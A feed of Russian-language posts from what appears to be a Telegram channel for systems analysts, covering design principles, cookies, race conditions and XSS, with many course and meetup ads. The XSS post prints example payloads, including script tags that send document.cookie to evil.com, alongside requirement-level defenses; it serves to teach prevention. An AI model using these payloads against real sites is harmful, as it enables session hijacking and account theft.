Системный Аналитик

Мы годами строили предсказуемые монолиты и микросервисы, но AI превратил PDLC в Дикий Запад, где старые паттерны проектирования больше не работают. Хватит делать вид, что ты контролируешь ситуацию, просто прикрываясь новой версией TOGAF. Приходи 1 июля на Arch.Meetup, где мы поговорим про архитектурный подход AI disrupt PDLC, и вместе со спикерами из Сбера, Вебпрактик и Газпром нефти будем учиться управлять этим хаосом, пока нейросети не начали проектировать системы вместо нас. 🔗Выбирай удобный формат и регистрируйся по ссылке   📍Встречаемся очно на Кутузовском 32, а ссылку для онлайн пришлем накануне.

✏️ Принципы разработки KISS, Бритва Оккама, SSOT, DRY, YAGNI, SOLID Зачем нужны Инженерные принципы это не строгие правила, а ориентир Помогают: 🔸 уменьшать стоимость изменений 🔸 снижать количество ошибок 🔸 упрощать сопровождение 🔸 делать требования понятнее 🔸 избегать избыточных решений 💡 Для системного аналитика принципы служат фильтром при сборе требований, позволяют снизить затраты ещё до написания кода KISS (Keep It Simple, Stupid) Решение должно быть максимально простым Чем сложнее система, тем дороже изменения, тестирование и поддержка KISS не означает примитивные решения ✅ А отказ от ненужного усложнения Как применять СА 🔵не добавлять лишние сущности и процессы 🔵избегать универсальных решений без необходимости 🔵описывать требования максимально понятно 🔵сокращать количество исключений и специальных сценариев Пример ❌ Спроектировать универсальный механизм уведомлений с 15 каналами доставки, шаблонизацией и правилами маршрутизации ✔️ Сначала реализовать email и push-уведомления, если нужны бизнесу ❌ Описывать 15 вариантов исключений для одного процесса ✔️ Описать общее правило обработки ошибок (fallback), покрывающее 95 % случае Признаки нарушения KISS ▪️слишком много сущностей ▪️чрезмерная параметризация ▪️большое количество условий и исключений ▪️ сложность объяснения решения Бритва Оккама Не надо умножать сущности без необходимости Если два решения равнозначно покрывают требования, выбирается то, у которого меньше сущностей и допущений Отличие от KISS 🔸KISS говорит «делай просто» 🔸Бритва Оккама — «выбирай простое среди равных» Примеры для СА 🟠Есть проблема производительности. Необязательно сразу проектировать новый сервис или менять архитектуру. Возможно, достаточно оптимизировать запрос или индекс 🟠При выборе интеграции: если данные можно получить через REST-агрегацию, не стоит предлагать внедрение ESB или CDC только из соображений «это современно». SSOT (Single Source of Truth) Для каждой информации должен существовать один источник истины Если одинаковые данные существуют в нескольких местах, со временем они начинают расходиться Где применяется 🔵требования 🔵схемы данных 🔵справочники 🔵бизнес-правила 🔵интеграционные контракты Примеры в СА 🔵создавать единый глоссарий; в тексте требований использовать ссылки на термины, а не их определения 🔵справочные данные (списки валют, стран) выносить в общий раздел и ссылаться на него 🔵маппинг полей между системами хранить в едином файле (Swagger/OpenAPI или отдельной таблице), а не дублировать в сценариях ❌ Пример нарушения: правило «комиссия для клиентов из ЕС = 20 %» прописано в ТЗ, в UI-макете, в описании интеграции и в тест-кейсах. При изменении ставки до 22 % три источника не обновляются → баг на релизе DRY (Don’t Repeat Yourself) Не повторять знания, логику или описание без необходимости Дублирование приводит к изменениям во многих местах одновременно (одинаковые бизнес-правила; повторяющиеся требования; копирование схем данных; одинаковая логика в нескольких процессах) Примеры для СА 🔸одинаковые структуры API вручную описываются в нескольких документах Лучше использовать единое описание и переиспользовать его 🔸в Use Cases применять include-сценарии для повторяющихся процедур (например, аутентификация описывается один раз) Когда дублирование допустимо Ради производительности (денормализация БД) или изоляции микросервисов (копирование DTO), но такое решение должно быть явно зафиксировано как исключение ❗️DRY не должен создавать избыточную сложность Отличие DRY от SSOT 🔸SSOT — про данные: одна сущность (справочник, атрибут, значение) хранится в одном месте. «где лежит истина?» (хранение) 🔸DRY — про логику: один алгоритм, правило или описание процесса не повторяется в разных местах. «где выполняется действие?» (поведение) YAGNI (You Aren’t Gonna Need It) Не создавать функциональность заранее Если функция не нужна сейчас — вероятно, её не нужно делать сейчас Примеры для СА 🔵 вместо проектирования 20 возможных статусов процесса «на будущее» лучше реализовать только реально используемые статусы. 🔵на этапе уточнения задавать вопрос: «Если не сделать это сейчас, сможет ли бизнес работать?» Если да — требование переносится в бэклог. ❌ Типичная ошибка: путать гибкость системы и проектирование гипотетических сценариев SOLID SOLID — набор принципов проектирования, направленных на создание изменяемых и поддерживаемых решений Интерпретация для СА 🔸SRP (Single Responsibility) Требование должно иметь одну причину для изменения. Не следует смешивать в одном разделе расчёт зарплаты и отправку уведомлений — их нужно разделять 🔸 OCP (Open/Closed) В требованиях новый сценарий должен дополнять, а не переписывать старый. Вместо «если тип A, то скидка 10 %» лучше описать механизм правил, где для типа A задаётся правило, а для типа B можно добавить новое правило 🔸 LSP (Liskov Substitution) Если в требованиях есть родительская роль («Клиент»), то её подтип («VIP-клиент») не должен нарушать предусловия системы (например, не требовать обязательный номер телефона, если у VIP его нет) 🔸 ISP (Interface Segregation) Лучше иметь несколько специализированных эндпоинтов, чем один универсальный с множеством обязательных полей 🔸 DIP (Dependency Inversion) Требования к модулям верхнего уровня не должны зависеть от деталей нижнего уровня. Вместо «сохранять в таблицу Oracle INSERT'ом» следует писать «система сохраняет данные» — абстрагироваться от реализации ❗️SOLID помогает управлять сложностью, но избыточное применение может привести к переусложнению 📎 Материалы 1. Принципы для разработки: KISS, DRY, YAGNI, BDUF, SOLID, APO и бритва Оккама 2. Принципы разработки в системном анализе 3. 5 принципов читаемого кода: KISS, YAGNI, DRY, BDUF и Бритва Оккама 4. SOLID, DRY, KISS, YAGNI и др. принципы разработки, пугающие новичка в IT #проектирование ➿➿➿➿➿➿➿➿➿➿ 🧑‍🎓 Больше полезного в базе знаний по системному анализу

💬Хочешь обсудить то, о чём на хабре не напишут? Аналитик из финтеха запустил пространство для честных дебатов о реальной жизни в IT 💥 Темы, которые взрывают комментарии: — Нужен ли код, чтобы войти в IT или хватит башки и вменяемого резюме — Испыталка: играть в покерфейс или быть собой — Системный анализ - это не профессия, это выживание 👇 Подписывайся и включайся: Подписаться на канал

⚠️Профессия системного аналитика продолжает меняться: появляются новые инструменты, растут требования к качеству решений, усиливается роль аналитика в проектировании архитектуры и взаимодействии с бизнесом. При этом одни навыки становятся критически важными для карьерного роста, а другие постепенно превращаются в базовый минимум. ✅Мы подготовили для вас актуальную программу обучения на курсе «Системный аналитик. Управление командой» Изучите программу обучения на сайте. 🎁Записывайтесь на бесплатный вебинар: «Какие навыки прокачать, чтобы стать экспертом в системном анализе в 2026 году». ⏰25 июня в 20:00 мск Задайте вопросы спикеру и познакомьтесь подробнее с программой обучения на живом вебинаре! Перейти на сайт ➡️ OTUS.RU Реклама. ООО «Отус онлайн-образование», ОГРН 1177746618576

🖥 Cookie-файлы Cookie — небольшие данные, которые сайт сохраняет в браузере пользователя и использует при последующих запросах ⏩ Cookie — как номерок в гардеробе. Гардеробщик не запоминает лично, а выдает номерок, по которому находит вещи ⏩ Работают схоже: браузер хранит идентификатор, а сервер по нему понимает, кто выполняет запрос Протокол HTTP — stateless (не хранит состояние). Каждый запрос сам по себе не знает ничего о предыдущем. Поэтому без cookie серверу сложно понимать: 🟡кто авторизован 🟡что лежит в корзине 🟡какие настройки выбрал пользователь 🟡выполнял ли пользователь действия ранее Как работают по шагам 1. пользователь открывает сайт 2. сервер отправляет браузеру заголовок Set-Cookie 3. браузер сохраняет данные 4. при следующих запросах браузер автоматически добавляет заголовок Cookie 5. сервер использует полученное значение Важно: 🟡cookie хранятся на стороне клиента 🟡браузер сам управляет отправкой cookie 🟡cookie привязаны к доменам и правилам доступа 🟡срок хранения может быть ограничен Жизненный цикл Создание ➡ сохранение в браузере ➡ использование в запросах ➡ обновление ➡ удаление или истечение срока действия Cookie могут удаляться: ⭕пользователем вручную ⭕браузером ⭕сервером ⭕после окончания срока действия Для чего используются ⏩ Авторизация и сессии После входа сервер выдает идентификатор сессии. Благодаря этому пользователь не авторизуется заново на каждой странице ⏩ Персонализация Cookie позволяют сохранять ⭕язык интерфейса ⭕тему оформления ⭕настройки отображения ⭕регион и тд ⏩ Корзины интернет-магазинов Позволяют хранить связь между пользователем и выбранными товарами ⏩ Аналитика Для: ⭕подсчета посетителей ⭕отслеживания поведения ⭕измерения конверсий ⭕анализа пользовательских путей ⏩ Реклама и маркетинг ⭕помогают показывать релевантную рекламу ⭕ограничивать частоту показов ⭕строить аудитории ⏩ A/B-тестирование Позволяют закреплять пользователя за вариантом эксперимента Виды Cookie ⬆ First-party Cookie (собственные) Создаются сайтом, который пользователь открыл Примеры: ⭕авторизация ⭕корзина ⭕пользовательские настройки ⬇Third-party Cookie (сторонние) Создаются сторонними доменами Примеры: ⭕рекламные сети ⭕аналитические сервисы ⭕виджеты Сторонние Cookie ограничивают из-за приватности ✖ Проблемы: ➖межсайтовое отслеживание ➖сбор пользовательских профилей ➖непрозрачность обработки данных Влияние на интеграции ⏩ SSO (Single Sign-On) После единого входа пользователь получает cookie сессии Что учитывать: 📍домены и поддомены должны быть настроены корректно 📍срок жизни cookie влияет на длительность авторизации 📍ограничения SameSite могут нарушить сценарий входа между системами ⏩ API Браузер может автоматически отправлять cookie вместе с запросами Что учитывать: 📍корректная настройка CORS 📍для кросс-доменных запросов необходимо учитывать SameSite и Secure 📍часть API вместо cookie использует JWT-токены 📎 Материалы 1. Что такое Cookie и зачем они нужны 2. Ультимативный гайд по HTTP. Cookies и CORS 3. Что такое cookie? 4. Что такое cookie и для чего они нужны 5. Перевод Всё о файлах cookie и их безопасности #проектирование ➿➿➿➿➿➿➿➿ 🧑‍🎓 Больше полезного в базе знаний по системному анализу

Синхронизируй теорию с практикой на IT_ONE Analyst Meetup для системных и бизнес-аналитиков → Когда: 18 июня 2026 года → Где: Онлайн → Регистрация: до 17 июня Три практических кейса от экспертов-аналитиков IT_ONE для тех, кто хочет превратить методологию в работающие решения:

1️⃣ «Этика в фундаменте: как системный аналитик проектирует системы, которым можно доверять» Ольга Беспалова расскажет, как использовать международные стандарты, чтобы создавать продукты, в безопасности которых уверены и вы, и пользователи. 2️⃣ «St(e)akeHolder: где и как искать?»  Екатерина Машьянова объяснит, как декомпозиция функций системы помогает находить заинтересованных лиц и налаживать работу с ними. 3️⃣ «Аналитик без хаоса: база знаний в Obsidian» Александр Орешкин покажет, как превратить личную базу в Obsidian в сеть связанных идей, где любой нужный контекст можно найти за пару кликов.

Почему стоит посетить IT_ONE Analyst Meetup: ✅ Много практики от ведущих аналитиков IT_ONE, которые ежедневно решают задачи в сложных ИТ-проектах. ✅ Минимум воды, максимум архитектурных и методологических инсайтов. ✅ Онлайн-дискуссия с экспертами и коллегами со всей страны. ✅ Бонус: шаблоны и структура папок для вашей базы знаний в подарок. Регистрируйся на IT_ONE Analyst Meetup до 17 июня: https://cnrlink.com/itoneanalystmeetupsa

🔽 Гонка событий (Race Condition) Гонка событий — ситуация, при которой результат работы системы зависит от порядка выполнения операций Если несколько процессов одновременно работают с одним состоянием, итог может быть непредсказуемым Может возникать в: 🟢микросервисах 🟢распределённых системах 🟢очередях сообщений 🟢асинхронных API 🟢frontend-приложениях 🟢потоковой обработке данных 🍃Сложность гонки событий: проблема проявляется нестабильно Система может работать корректно, а затем случайно выдать ошибку Когда возникает ⚪️несколько процессов работают с одним состоянием ( одновременно читают и изменяют) ⚪️хотя бы один процесс изменяет данные ⚪️порядок выполнения не контролируется ⚪️нарушение порядка доставки (события отправляются в одном порядке, а доставляются — в другом) ⚪️отсутствие координации между сервисами (каждый сервис видит только локальное состояние) ⚪️deadlock (несколько транзакций блокируют друг друга) Типичные признаки ➖«плавающие» баги ➖редкие ошибки ➖невозможность стабильно воспроизвести проблему ➖случайные дубли ➖потеря части данных ➖периодическая рассинхронизация Причины 🍃сетевые задержки 🍃ретраи 🍃повторная доставка сообщений 🍃независимая работа сервисов 🍃параллельные консьюмеры 🍃различная скорость обработки Гонка всегда связана с принципом: ❕корректность системы зависит от последовательности событий Если изменение порядка приводит к разному результату — система подвержена гонке Backend и микросервисы Частый источник гонок — параллельные запросы к одному ресурсу Например: ✨несколько сервисов обновляют один заказ ✨несколько обработчиков меняют баланс ✨несколько консьюмеров читают одну очередь Базы данных При использовании транзакций гонка не исчезает Проблемы: ➖Lost Update (когда изменения одного процесса перезаписываются изменениями другого, и часть данных теряется) ➖dirty read (чтение данных, которые были изменены другой транзакцией, но ещё не зафиксированы ) ➖ non-repeatable read (повторное чтение одной и той же записи внутри транзакции возвращает разные значения, потому что другая транзакция изменила данные) ➖перезапись изменений Брокеры сообщений Не гарантируют отсутствие гонок Проблемы: ⚪️задвоенные события ⚪️доставка не по очереди ⚪️повторная доставка ⚪️параллельные консьюмеры Распределенные системы В распределённых системах гонка — нормальное состояние среды Причины: 🟢eventual consistency (изменения не применяются на всех серверах мгновенно) 🟢независимые сервисы 🟢сетевые лаги 🟢разные каналы доставки 🟢репликация Примеры Микросервисы с общей БД ➖сервис заказов и сервис оплаты работают с одной таблицей ➖сервис оплаты меняет статус заказа ➖сервис заказов одновременно обновляет адрес доставки Оба сервиса: 1. читают одну запись 2. меняют локальную копию 3. сохраняют объект полностью. Последний UPDATE уничтожает изменения другого сервиса Как решать ✨обновлять только нужные поля ✨использовать оптимистическую блокировку ✨отказаться от общей БД Event-driven архитектура Сервис публикует: ➖OrderCreated ➖OrderCancelled Потребитель получает их в обратном порядке Клиент сначала получает письмо: «Заказ отменён» А затем: «Заказ успешно создан» Как решать ✨партицирование по orderId ✨версионирование событий ✨occurredAt timestamp 📎 Материалы 1. Небезопасная многопоточность или Race Condition 2. Что такое состояние гонки 3. Почему стоит проверять приложения на устойчивость к race condition 4. Разница между Data Race и Race Condition 📚 Книги 1. Высоконагруженные приложения - Мартин Клеппман 2. Микросервисы. Паттерны разработки и рефакторинга - Крис Ричардсон 3. Шаблоны корпоративных приложений - Мартин Фаулер 4. Release it! Проектирование и дизайн ПО для тех, кому не всё равно - Майкл Нейгард #проектирование ➿➿➿➿➿➿➿➿ 🧑‍🎓 Больше полезного в базе знаний по системному анализу

❓Уровень обычного системного аналитика уже не для вас? Научитесь управлять архитектурой и командой системных аналитиков на курсе «Системный аналитик. Управление командой» 🎁 Записывайтесь на 3 бесплатных вебинара — познакомьтесь с программой обучения и преподавателями. Задайте свои вопросы экспертам! Вебинар 1: «C4 для системного аналитика: строим единый язык между бизнесом и разработкой» ⏰4 июня в 20:00 мск Программа вебинара: Разберём самую простую и мощную модель визуализации архитектуры, которая позволяет за 4 диаграммы объяснять систему бизнесу, разработчикам и команде. На практике покажем, как использовать C4-модель, чтобы быстро и понятно объяснять систему на нужном уровне детализации — техническим лидерам, разработчикам и менеджменту и решить головную боль — недопонимание между стейкхолдерами — и сразу сможете применять её в требованиях. Вебинар 2: «Архитектура информационных систем. Монолиты, SOA и микросервисы» ⏰17 июня в 20:00 мск Программа вебинара: 1. Как выделять архитектурные слои информационной системы 2. Основные компоненты системы и как рисовать компонентные модели 3. Различия явных признаков хорошей и плохой архитектуры 4. Плюсы и минусы монолитной, SOA и микросервисной архитектуры Вебинар 3: «Внедрение новой функции системным аналитиком на примере услуги на Госуслугах» ⏰24 июня в 20:00 мск Программа вебинара: Разбор процесса внедрения новой фичи системным аналитиком. На вебинаре спикер покажет, как проектируются и выводятся реальные сервисы на портал Госуслуг. 1. Сбор требований 2. Моделирование бизнес-процесса 3. Проектирование интерфейса системы 4. Описание компонентов системы 5. Настройка форм для госуслуг 6. Настройка печатных форм 7. Проектирование базы данных 8. API 9. Интеграция систем Записывайтесь ➡️ OTUS.RU Реклама. ООО «Отус онлайн-образование», ОГРН 1177746618576

Системный аналитик помогает бизнесу и разработке говорить на одном языке: разбирает задачи компании, описывает требования, проектирует IT-решения и следит, чтобы система работала на реальные цели бизнеса. Онлайн-магистратура СПбГУ и Нетологии «Системный анализ и интеллектуальные системы управления бизнес-процессами» готовит специалистов на стыке IT и управления. В программе сочетаются академическая база СПбГУ и прикладные инструменты Нетологии. Студенты изучают математическое моделирование, алгоритмы, системный анализ, Python, BI-системы, no-code-инструменты, управление проектами и подходы к внедрению искусственного интеллекта. Такой набор навыков помогает работать со сложными бизнес-процессами: находить узкие места, снижать риски при разработке, формулировать требования к системам и сопровождать внедрение IT-решений. Обучение проходит полностью онлайн. После выпуска вы получаете диплом магистра СПбГУ очного образца по направлению «Прикладная информатика». Подробнее о программе Реклама. ООО “Нетология” ОГРН 1207700135884 Erid: 2VSb5wrYxot

Аналитики, которые строят highload: в чём их секрет? 28 мая в 18:00 собираемся в Санкт-Петербурге чтобы узнать, как наладить процессы системного анализа в сложных проектах. На митапе разберем: ▶️как выстроить системный анализ с нуля и перейти от хаоса к стандартам ▶️как писать спецификации, которые архитекторы принимают с первого раза (с расчётом RPS и сайзинга БД) ▶️погрузимся в Sequence Diagram и проверим, насколько ваши знания соответствуют спецификации UML. Митап пройдет в гибридном формате: вы можете присоединиться лично или онлайн. Участие бесплатное, ссылку на трансляцию пришлем накануне. Регистрация и подробности по ссылке: https://career.crpt.ru/events/system-analytics Чат для общения и нетворкинга: https://t.me/+C3mXc_pzTpYwMGMy #43Tech #системныйанализ #UML

Поздравляем, вы на 1 шаг ближе к работе мечты 🥳 Осталось только прочитать этот пост, подписаться на канал и откликнуться на вакансию 😉 Avito Career* — место, где Авито делится актуальными вакансиями и стажировками для аналитиков данных. Подписывайтесь, чтобы найти ту самую работу ✨ *карьера

Приглашаем на третий System Analysis Meetup SberHealth ❤️ Когда: 20 мая в 18:30 Где: онлайн На митапе поговорим о навыках и подходах, которые помогают расти системным аналитикам. Через доклады и реальные примеры рассмотрим, как создавать новые решения в работе, развивать архитектурное мышление и растить техническую экспертизу ⭐️ В программе: 🟣Ирина Облецова, старший системный аналитик, поделится, как разработала своё решение для оформления требований к мобильной разработке — диаграмму на стыке Figma и блок-схемы 🟣Мария Горгоц, старший системный аналитик, расскажет, что стоит знать аналитику, чтобы подружиться с архитектурными решениями и расти в архитектуре Приглашённый спикер: 🟡Виктория Кухтяева, эксперт по системному анализу и котикам, поделится, какие знания по кибербезопасности нужны для уверенной работы с разработкой и архитектурой, а также как закладывать требования безопасности в решения 🆕Круглый стол Обсудим, как системному аналитику перейти в архитекторы: реальные истории, рабочие практики и нужные навыки 🔜 Регистрация на митап и подробности

🛡XSS-уязвимость XSS (Cross‑Site Scripting) — атака, при которой злоумышленник внедряет в веб‑страницу вредоносный код (обычно на JavaScript). Код выполняется в браузере другого пользователя (жертвы) ➡️ хакер находит место, куда можно «подложить» свой скрипт, когда жертва открывает страницу — скрипт крадёт её данные, подменяет содержимое или выполняет действия от её имени На этапе проектирования требований можно: ⏺создать условие для уязвимости (например, разрешить любые символы в поле комментария) ✅ предотвратить её (чётко указать, какие символы и разметка допустимы) Как работает XSS 1⃣ Злоумышленник находит поле ввода (поиск, комментирование, имя профиля) 2⃣ Вводит туда вредоносную строку, например:  <script>alert('Ваши куки: ' + document.cookie)</script> 3⃣ Приложение сохраняет или сразу выводит эту строку без обработки 5⃣ Пользователь открывает страницу ➡️ его браузер видит эту строку как настоящий HTML код ➡️выполняет её 5⃣ Злоумышленник получает нужные данные (например, куки сессии) и может войти под учётной записью жертвы ❗️Ключевое условие: приложение показывает пользовательские данные как будто это безопасный код страницы, а не обычный текст Типы XSS ⭕️Хранимая (Stored XSS) — самая опасная Скрипт сохраняется на сервере (в базе, в файле) и отображается всем, кто заходит на страницу ➡️ Пример Форма отзывов. Хакер пишет отзыв: > Классный товар! <script>new Image().src='https://evil.com/steal?c='+document.cookie</script> Если не обработан текст, каждый посетитель страницы отзывов отправит свои куки на сервер злоумышленника.ю ✅ Защита ✨в требованиях к полю, которое будет отображаться у других пользователей,  прописывать ограничения ✨если HTML нужен — описывать белый список тегов (только <b>, <i>, <a> с проверенными ссылками) ⭕️Отражённая (Reflected XSS) Скрипт не сохраняется, а «отражается» в ответе сервера. Жертву нужно заставить перейти по специальной ссылке. ➡️ Пример Сайт показывает  поисковый запрос: «Вы искали: запрос».  Хакер отправляет жертве ссылку:  https://site.com/search?q=<script>alert(1)</script>  Жертва кликает ➡️ скрипт выполняется ✅ Защита В требованиях запрещать отображать непроверенные параметры URL или заголовков прямо в HTML. Даже для сообщений об ошибке ⭕️DOM‑based XSS (без участия сервера) Скрипт появляется из‑за уязвимого JavaScript-кода на самой странице, который берёт данные из адресной строки (хеша, параметров) и вставляет в HTML ➡️ Пример (уязвимый код на странице): document.getElementById('message').innerHTML = location.hash.substring(1) Хакерская ссылка:  https://site.com/<img src=x onerror=alert(1)> Браузер не отправляет хеш на сервер, но на странице выполняется вредоносный код ✅ Защита В клиентских скриптах не использовать innerHTML с пользовательскими данными, Применять безопасные методы (textContent, setAttribute) ⭕️Слепая XSS (Blind XSS) Скрипт хранится на сервере, но срабатывает там, где хакер не видит результат — в админ‑панели, в интерфейсе оператора ➡️ Пример Форма обратной связи. Поле «Имя»: <script>fetch('https://evil.com?cookie='+document.cookie)</script>  Сам клиент видит своё имя без проблем (экранирование на публичной части есть) Но оператор в админ‑панели смотрит все заявки — и там экранирования нет. Скрипт ворует сессию оператора ✅ Защита Требования к экранированию должны быть одинаковыми для всех интерфейсов, включая внутренние. 📎 Материалы 1. Что такое XSS-атака и как с ней бороться 2. XSS: нападение и защита 3. Что такое XSS-уязвимости и как защититься  с помощью Content Security Policy 4. Примеры атак XSS и способов их ослабления 5. XSS-атака без секретов: от простого alert до захвата сессии 📚 Книги Грокаем безопасность веб-приложения - Макдональд Малькольм #безопасность ➿➿➿➿➿➿➿➿ 🧑‍🎓 Больше полезного в базе знаний по системному анализу

На 50 откликов — 2-3 приглашения. На 2-3 собеседования — 0 офферов. И непонятно, что я сделал не так... Или в ответ: "Сделали выбор в пользу другого кандидата". И непонятно: то ли рынок мёртв, то ли ты что-то не так делаешь. Скорее всего, и то, и другое. Но второе мы точно можем исправить🤓 Что делаем мы: 🔹 Нет опыта ➡️ обучаем с нуля, ведём за руку до оффера 🔹 Не зовут на собесы ➡️ переупаковываем резюме. Даже если опыт не в IT 🔹 Зовут, но заваливаешь ➡️ проводим полноценные тестовые собеседования, разбираем твои собесы 🔹 Сопровождаем прямо в процессе найма — пока ты ходишь на собесы, мы с тобой на связи, правим стратегию на ходу Само собой даем: 📦 Слитые актуальные собеседования из реальных компаний 📦 Материалы для подготовки, шпаргалки — то, что реально спрашивают на собесах прямо сейчас 📦 Базу вопросов по тестам, кейсам, теориям — никакой воды Главное — оплата только после трудойстройства💰 Ты не платишь ни копейки, пока не получишь оффер. Никаких предоплат. Никаких «купи курс, а там уж сам». Итог: Мы уже устроили 50+ аналитиков. С нуля, с опытом, с опустившимися руками. На рынке, который уже похоронили. Надоел поиск и хочешь работать? Оставляй заявку на сайте!

Нужны актуальные вопросы с собеседований ? SA | Собеседования - твой незаменимый помощник в подготовке к собеседованиям. 🔊Обзоры собеседований c вилками на позиции: 🔵Системных аналитиков (Junior, Middle, Senior, Lead). 🔵Solution Архитекторов. 🔵С комментариями автора - как человека, который активно собеседует кандидатов. 🔊А ещё на Boosty ты найдёшь: 🔵Записи собеседований: В хорошем качестве - с тайм-кодами и названиями компаний. 🔵Статистику вопросов в разрезе каждой конкретной компании. 🔵При наличии подписки - обратную связь по твоим собеседованиям и рекомендации по их прохождению от человека, который провёл более 100 интервью в 2023–2025 годах. ➡️ Подписаться

🔥Получите навыки системного аналитика с нуля и примените их на практике с актуальными инструментами на реальных проектах. Начните обучение на курсе «Системный аналитик». 🎁Записывайтесь на 3 бесплатных вебинара — познакомьтесь с программой обучения и преподавателями. Задайте свои вопросы экспертам! 🟣Вебинар 1: «Как не допустить ошибок при написании пользовательских историй (User Story)?» ⏰5 мая в 20:00 мск Программа вебинара: 1. Вспомним, что такое пользовательская история и особенности ее написания 2. Определим типичные ошибки при составлении пользовательских историй 3. Рассмотрим пример плохо написанной пользовательской истории и ее критериев приемки 4. Проработаем варианты исправления плохо написанной пользовательской истории 5. Порефлексируем и обсудим результаты 🟣Вебинар 2: «Обзор нотации BPMN 2.0» ⏰13 мая в 18:00 мск Программа вебинара: 1. Базовые понятия нотации BPMN 2.0 2. Базовые элементы нотации BPMN 2.0 3. Плюсы и минусы нотации BPMN 2.0 4. Основные антипаттерны моделирования в нотации BPMN 2.0 🟣Вебинар 3: «Диаграмма Последовательности (Sequence Diagram) - швейцарский нож системного аналитика» ⏰19 мая в 20:00 мск Программа вебинара: 1. Смысл диаграмм и визуализаций в работе аналитика 2. Нотация Диаграммы Последовательности с нуля за 30 минут 3. Что еще освоить, чтобы приносить пользу команде Записывайтесь ➡️ OTUS.RU Реклама. ООО «Отус онлайн-образование», ОГРН 1177746618576

📊 Научитесь проектировать API и архитектуру ПО как профи, освойте SQL и NoSQL на продвинутом уровне, узнайте принципы построения сложных систем и как выбирать верные архитектурные решения. Получите актуальные навыки и инструменты. Станьте экспертом в системном анализе на курсе «Системный аналитик. Экспертный уровень» Старт группы: 29 апреля Обучение: 6 месяцев Формат: онлайн Актуальная программа обучения уже доступна для вас на сайте бесплатно. Поддержка менторов и преподавателей на каждом этапе обучения. Задайте вопрос прямо на сайте и вам ответят! 🎁Записывайтесь на бесплатный вебинар 23 апреля в 18:00 мск Тема: «Cоздаём ИИ-ассистента для системного аналитика за 1 час» Познакомьтесь с руководителем курса и задайте свои вопросы! Регистрация на сайте. Оставьте заявку на курс ➡️ OTUS.RU Реклама. ООО «Отус онлайн-образование», ОГРН 1177746618576